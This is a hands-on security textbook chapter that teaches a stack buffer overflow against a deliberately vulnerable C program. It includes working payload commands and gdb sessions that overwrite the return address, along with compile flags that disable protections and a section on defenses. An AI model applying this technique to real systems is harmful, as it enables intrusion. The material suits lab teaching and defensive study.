Step 186. ★ Reproducing a Buffer Overflow: RET Overwrite Success — Your First Memory Attack

Level 3 — Pwn Track | Difficulty ★★★★★ | Estimated time: 5 hours

Prerequisites: you’ve finished Steps 184–185. You know how call/ret behave, you can draw the stack frame map (local variables → saved rbp → RET), and you can measure the padding length with gdb.

⚠️ All exercises in this chapter are for your own lab and legal platforms only. Applying them to unauthorized systems is a crime.

What you need: a WSL Ubuntu terminal, gcc, gdb, python3. The measured environment is Ubuntu 24.04, gcc 13.3.0, gdb 15.1, x86-64.
Caution: today’s technique is the prototype of an attack used in real intrusions for decades. The target is strictly a test program you wrote yourself, and the reason is to understand the principle so you can defend against it.

In Step 62 you saw overflowing input cover neighboring variables, and in Step 185 you confirmed on the map that the input reaches all the way to RET. Today is the final step. If you change the overwriting value from mindless ‘A’s to a calculated address, the moment the function rets, the program’s controls land in your hands. This is the peak of Level 3 — the point where everything you studied through the first half of this book merges into one. It’s hard. But every ingredient is something you’ve already learned.

1. Learning Objectives

By the end of this chapter, you will be able to:

Compile a target binary with lab-only options and explain what each option means
Find a target function’s address with nm
Measure the buf-to-RET distance (padding) with gdb and design a payload
Flip an address into a byte sequence using the little-endian rule
Execute a never-called function via RET overwrite, and investigate the difference between success and failure with gdb

2. Background Knowledge — Today’s Tools and Concepts

Today’s Tools at a Glance

Category	Details
Language/environment	C + Python (payload generation), WSL Ubuntu bash, gcc 13.3.0, gdb 15.1 (x86-64)
Today’s commands/options	`gcc -fno-stack-protector -z execstack -no-pie` (lab-only defenseless compile), `nm binary \| grep name` (find a function address), `python3 -c "import sys; sys.stdout.buffer.write(...)" \| ./vuln` (byte payload injection), gdb’s `bt` (investigate the death path)
Concepts needed	RET overwrite, little-endian, payload, padding, segfault forensics

2-1. Attack Design — Three Ingredients

By Step 185 we had gathered the ingredients.

A vulnerable input function — gets never asks about length (Step 185).
The stack map — fill 24 bytes from buf and the next 8 bytes are the RET cell (measured in Step 185).
The target address — inside the program sits a function win that nobody calls. You only need its address.

The attack combining the three looks like: [A × 24][win's address, 8 bytes]. The moment the vuln function rets, rip goes not to an A but to win’s address. The program executes "on its own" a function that was never called once.

2-2. Little-Endian — The Rule of Writing Addresses Backward

x86-64 is little-endian. When a multi-byte number is written to memory, the low-order byte goes to the low address. Writing the address 0x401196 as 8 bytes to memory gives:

address 0x401196  →  memory byte order: 96 11 40 00 00 00 00 00

Input fills buf starting from its low address, so the byte sequence we send must be in this order — the flipped order. If you send 0x401196 as-is in the order "x00...x40x11x96", RET ends up holding something like 0x9611400000000000… and the attack fails. This is today’s only trap.

2-3. Defenseless Compile — Fixing the Lab’s Conditions

Real-world binaries come wrapped in defensive membranes. Today our goal is observing the principle, so we deliberately strip three layers.

Option	What it turns off	Why
`-fno-stack-protector`	Stack canary	A device that detects overwriting and halts (met in Step 62)
`-z execstack`	NX (stack execution ban)	Not required today, but the standard defenseless combo for Pwn practice
`-no-pie`	PIE (code address randomization)	Fixes win’s address so you can overwrite with it

What each of these options strips away is formally covered in Step 187. Today we treat them as "lab-only switches." Using these options on a program you ship is opening the door with its defensive membranes peeled off.

2-4. A Segfault Is Not Failure — It’s Evidence

When the attack is off, the program dies with a segfault. The broken address gdb’s bt shows then — say, 0x4141414141414141 — is evidence that "your input reached RET." If you can read the death scene, correcting the payload is only a matter of time.

3. Follow Along

3-1. Building the Target — win and vuln

Input (vuln.c)

#include <stdio.h>

void win(void) {
    printf("FLAG{you_control_the_rip}n");
    fflush(stdout);
}

void vuln(void) {
    char buf[16];
    printf("buf address: %pn", (void *)buf);
    printf("input: ");
    fflush(stdout);
    gets(buf);
    printf("received value: %sn", buf);
    fflush(stdout);
}

int main(void) {
    vuln();
    printf("normal exitn");
    return 0;
}

How to read it: win is called from nowhere. main calls only vuln. The fflush(stdout) inside win means "push it to the screen immediately" — because the program dies right after a successful attack, output left sitting in the buffer might never make it out. It’s a safety device (we actually hit this in Wall 2 of this chapter).

Compile

gcc -g -O0 -fno-stack-protector -z execstack -no-pie vuln.c -o vuln

/usr/bin/ld: /root/lab186/vuln.c:12:(.text+0x71): warning: the `gets' function is dangerous and should not be used.

(Measured 2026-09-09. The linker’s warning is expected — we are deliberately building a dangerous program right now.)

3-2. Finding the Target Address — nm

nm vuln | grep -E " win$| vuln$| main$"

0000000000401247 T main
00000000004011bf T vuln
0000000000401196 T win

(Measured 2026-09-09. Thanks to -no-pie, addresses are fixed. In your environment they may differ with source length.)

How to read the output: nm shows the binary’s symbol (name) table. T means the code (text) area. win = 0x401196. This is the value we’ll write into RET. Flipped to little-endian: x96x11x40x00x00x00x00x00.

3-3. Measuring the Padding — From buf to RET

Measure in gdb exactly as in Step 185.

gdb -q ./vuln

(gdb) b vuln
Breakpoint 1 at 0x4011bc: file vuln.c, line 9.
(gdb) r
Starting program: .../vuln

Breakpoint 1, vuln () at vuln.c:9
9	    printf("buf address: %pn", (void *)buf);
(gdb) ni
(gdb) ni
(gdb) ni
(gdb) info registers rbp
rbp            0x7fffffffe670      0x7fffffffe670
(gdb) p/x $rbp - (long)buf
$1 = 0x10
(gdb) x/2gx $rbp
0x7fffffffe670:	0x00007fffffffe680	0x0000000000401236
(gdb) info symbol *(long*)($rbp+8)
main + 13 in section .text of /root/lab186/vuln

(Measured 2026-09-09.)

How to read the output: buf = rbp – 0x10 = 0x7fffffffe660. The RET cell = rbp + 8 = 0x7fffffffe678 (contents 0x401236 = main+13, the normal place to return). The distance is 0x678 – 0x660 = 0x18 = 24 bytes.

Payload design complete: A × 24 (padding) + x96x11x40x00x00x00x00x00 (win’s address, little-endian). 32 bytes total. Since gets reads until Enter, append a n at the end.

3-4. Failure First — Investigating a Death with Only A’s

Before seeing success, investigate with gdb the case of feeding only thirty-two A’s with no address. This record becomes your debugging baseline later.

python3 -c 'print("A"*32)' > a32.txt
gdb -q ./vuln

(gdb) r < a32.txt
...
Program received signal SIGSEGV, Segmentation fault.
0x0000000000401246 in vuln () at vuln.c:16
16	}
(gdb) bt
#0  0x0000000000401246 in vuln () at vuln.c:16
#1  0x4141414141414141 in ?? ()
#2  0x00007fffffffe700 in ?? ()

(Measured 2026-09-09.)

How to read the output: #1 0x4141414141414141 in ?? () — this one line is the investigation’s conclusion. Where vuln jumped when it retted was "eight A’s," and since no function exists there (??), it died. It means your input completely seized RET. It seized it and merely went to the wrong place. Now put an address worth going to in that spot.

3-5. ★ Executing the Attack — RET Overwrite

python3 -c 'import sys; sys.stdout.buffer.write(b"A"*24 + b"x96x11x40x00x00x00x00x00" + b"n")' | ./vuln

buf address: 0x7ffc7e294190
input: received value: AAAAAAAAAAAAAAAAAAAAAAAA@
FLAG{you_control_the_rip}
Segmentation fault (core dumped)

(Measured 2026-09-09.)

Success. Let’s read the screen carefully.

received value: AAA...@ — the visible part of the 32 bytes we sent. The garbled characters at the end are exactly the little-endian-flipped win address (0x96, 0x11, 0x40).
FLAG{you_control_the_rip} — win, which nobody called, executed. vuln retted and rip jumped to 0x401196.
Segmentation fault — when win finished and retted, the next place to return to (the next cell on the stack) was a garbage value we hadn’t prepared, so it died. Death right after victory is the scheduled ending. The flag already came out, so the attack succeeded.

You just bent a program’s execution flow with input alone. Without fixing a single line of code, without touching the executable, merely by feeding data, the program executed a function its designer never planned. This is the prototype of memory attacks.

3-6. Verifying the Success Scene — Witnessing with gdb

If it’s hard to believe, station a witness with gdb. Set a stop at win and pour in the same payload.

python3 -c 'import sys; sys.stdout.buffer.write(b"A"*24 + b"x96x11x40x00x00x00x00x00" + b"n")' > payload.txt
gdb -q ./vuln

(gdb) b win
Breakpoint 1 at 0x40119e: file vuln.c, line 4.
(gdb) r < payload.txt
...
Breakpoint 1, win () at vuln.c:4
(gdb) bt
#0  win () at vuln.c:4
#1  0x00007fffffffe700 in ?? ()
(gdb) info registers rip
rip            0x40119e            0x40119e <win+8>

(Measured 2026-09-09.)

How to read the output: the stop hit. The program is now inside win. But look at bt — the place that called win (#1) is "??". There is no normal call path. Not main, not vuln — our payload called win. rip’s name tag <win+8> proves the current position. This is the forensic evidence of RET hijacking.

Think about it: today we read the address from the book’s nm output. But what if the binary were compiled as PIE so addresses change on every run? How would this attack be neutralized? The answer to that question is Step 187.

4. Missions & Exercises

Mission — Designing and Attacking Your Own Target

Modify vuln.c and attack a target you designed yourself.

Add a void secret(void) function — make it print your own flag string, but call it from nowhere
Change vuln’s buf to char buf[24] (the distance changes!)
Compile with -fno-stack-protector -z execstack -no-pie and find secret’s address with nm
Measure the new padding length with gdb (no estimating — use disas and x/gx)
Design a payload, attack, and capture the flag output
Leave failure records too: feed two payloads with padding deliberately 4 bytes short / 4 bytes long, and record each result (segfault message or gdb’s bt output)
Answer at the end of the report: "To block this attack, what must a developer do?" — at least two things (hint: Step 62’s final section and today’s compile options)

Exercises

Exercise 1. When win’s address is 0x401196, write the 8 bytes to put in the payload in byte order. Why that order?

Exercise 2. In 3-4’s bt, #1 0x4141414141414141 in ?? () appeared. Name two things this one line proves.

Exercise 3. The attack succeeded, yet the program died with a segfault (3-5). Why did it die, and why doesn’t that mean the attack failed?

Exercise 4. What happens if you feed a payload with padding 4 bytes short (A×20 + address)? Trace byte by byte what value lands in the RET cell.

5. Model Answers & Completion Criteria

Mission Model Answer

An example report (2026-09-09, Ubuntu 24.04, gcc 13.3.0 — numbers vary by environment):

[design] buf[24] + secret() added, confirmed no call path
[address] nm → secret = 0x4011xx (varies by environment)
[measured] disas vuln → sub $0x20,%rsp, buf = near rbp-0x20
      x/2gx $rbp → RET cell confirmed, padding = 0x20 + 8 = 40 bytes
[payload] A×40 + (secret address, little-endian 8 bytes) + n
[success] FLAG output confirmed, then SIGSEGV (scheduled death)

[failure 1] A×36 + address → address misses the RET cell, strange address in bt
[failure 2] A×44 + address → address overshoots the RET cell, fails likewise

[sample defense answer]
1) Use a bounded input function like fgets instead of gets — blocks the overflow itself
2) Ship with stack protection (canary) left on — detects overwriting and halts safely
(additionally PIE/ASLR to hide addresses, NX to ban stack execution — Step 187)

How to verify: ① did the padding come from gdb measurement (offset + x/2gx cross-check), not estimation? ② are two failure records actually attached — success counts as skill only when failures are recorded. ③ does the defense answer include both "bounded input" and "keeping protections on"?

Exercise Answers

Answer 1. It’s x96x11x40x00x00x00x00x00. x86-64 is little-endian, so the low-order byte (0x96) is written first to the low address. Since input fills buf from its low address, writing the address as-is puts a reversed value into RET and the attack fails. Don’t forget to fill all 8 bytes either, since it’s a 64-bit address.

Answer 2. ① The input reached the RET cell exactly and completely covered its value (0x41 × 8 = the entire address is ‘A’). ② So ret jumped to that address, but no function exists there (??), so it died. In other words, "overwrite success, jump failure" — a diagnosis that you only need to swap in a valid jump address.

Answer 3. Because the ret after win finished tried to jump to the garbage value in the next stack cell and died. What we precisely covered was only the single RET cell, so win’s "place to return" was never prepared. But win’s duty (printing the flag) was already done before the death, so the attack goal was achieved. Real-world exploits handle this by chaining into a shell or grafting on a clean-exit route.

Answer 4. A×20 covers only buf’s 16 bytes plus the first 4 bytes of saved rbp. The incoming 8 address bytes then straddle saved rbp’s last 4 bytes and the RET cell’s first 4 bytes. The RET cell ends up with a nonsense value — our address’s first 4 bytes mixed with the original RET’s last 4 bytes — and ret goes to that nonsense address and segfaults. The padding must be exactly right — off by even 1 byte and the whole address shifts.

Completion Criteria Checklist

[ ] I can explain the meaning of the three defenseless compile options (-fno-stack-protector, -z execstack, -no-pie)
[ ] I found the target function’s address with nm
[ ] I measured the padding length with gdb (not estimated)
[ ] I can flip an address into a little-endian byte sequence
[ ] I read and interpreted 0x4141414141414141 in the bt of an A-only failure
[ ] I executed win (or secret) via RET overwrite and confirmed the flag
[ ] I can explain the cause of the segfault after success
[ ] Mission: I completed the report with new padding measurement + success/failure records + defense answer

6. Common Pitfalls & Fixes

Wall 1. No flag, it just dies

Symptom: you fed the payload but only a segfault appears — no received value, no flag.
Cause: the two most common — ① the padding length is wrong, or ② the address isn’t flipped to little-endian.
Fix: in gdb, run r < payload.txt then look at bt. If #1 shows 0x4141414141414141, the address didn’t reach RET (padding problem); if it shows something like 0x961140…, a flipped trace, it’s an endian problem. The death scene is the answer key.

Wall 2. It reached win but the flag doesn’t show

Symptom: gdb confirms win was reached, but a normal run dies without printing the flag (an accident actually encountered while writing this book).
Cause: when connected through a pipe, printf output piles up in a buffer. If win dies with its output sitting in the buffer, the buffer vanishes.
Fix: put fflush(stdout); after the printfs in win and vuln. This habit of "pushing output out before dying" is a basic skill of exploit experiments.

Wall 3. I used the book’s address 0x401196 as-is and failed

Symptom: you did exactly what the book did and got a segfault.
Cause: if the source differs by even one character (including the flag string’s length), function addresses shift. The book’s address belongs to the book’s binary.
Fix: find the address from your own binary with nm vuln | grep win. Pwn’s iron rule — addresses are not memorized; they’re read fresh from your own target every time.

Wall 4. The address bytes break in Python

Symptom: you built it with print("A"*24 + "x96x11x40...") and the length is off or characters are garbled.
Cause: str is a Unicode string, so bytes like 0x96 get converted into characters and break. In Python 3, bytes must be handled as bytes.
Fix: use byte literals (the b prefix) and buffer writes: sys.stdout.buffer.write(b"A"*24 + b"x96x11x40x00x00x00x00x00" + b"n"). In Step 188, pwntools’ p64() automates this entire conversion.

Wall 5. It dies with stack smashing detected

Symptom: it halts with a message like this:

*** stack smashing detected ***: terminated

Cause: you compiled without -fno-stack-protector. The canary detected being overwritten and killed the program safely.
Fix: check your lab compile options. And remember seeing this message — this is what defense looks like when it works. It’s Step 187’s topic.

7. Summary

Today’s Concepts

Concept	One-line explanation
RET overwrite	An attack that hijacks execution flow by replacing the return address with a desired address
Little-endian	Low-order byte to low address — addresses go in backward
Payload	An input byte sequence precisely arranged for an attack
Padding	The filler between buffer and RET — its length must always be measured
Defenseless compile	Compile options that turn off defensive membranes for experiments — lab only
Scheduled death	The segfault after win runs — death after the goal is met is not failure

Today’s Commands

Command	What it does
`gcc -fno-stack-protector -z execstack -no-pie`	Lab-only defenseless compile
`nm binary \| grep name`	Find a function address
`sys.stdout.buffer.write(b"...")`	Corruption-free byte payload output
`r < payload.txt` (gdb)	Investigate while feeding a payload from a file
`bt` (gdb)	The death path — reading the overwritten RET

An Instinct More Important Than Commands

What you did today, in one sentence: "As long as data and control live on the same stack, data can become control." The input was data, but from the 25th byte on, it was the program’s milepost. This one structural fact gave birth to decades of intrusions and decades of defense techniques.

And you already know something more important than the attack’s success. What it takes to block this attack is not magic — one bounded input function, one protection option left on. Defense by someone who has done the attack by hand is different. In the next chapter we confirm, one by one, exactly where those defensive membranes — NX, ASLR, Canary, PIE — cut today’s attack.

Once every box is checked, Step 186 is complete.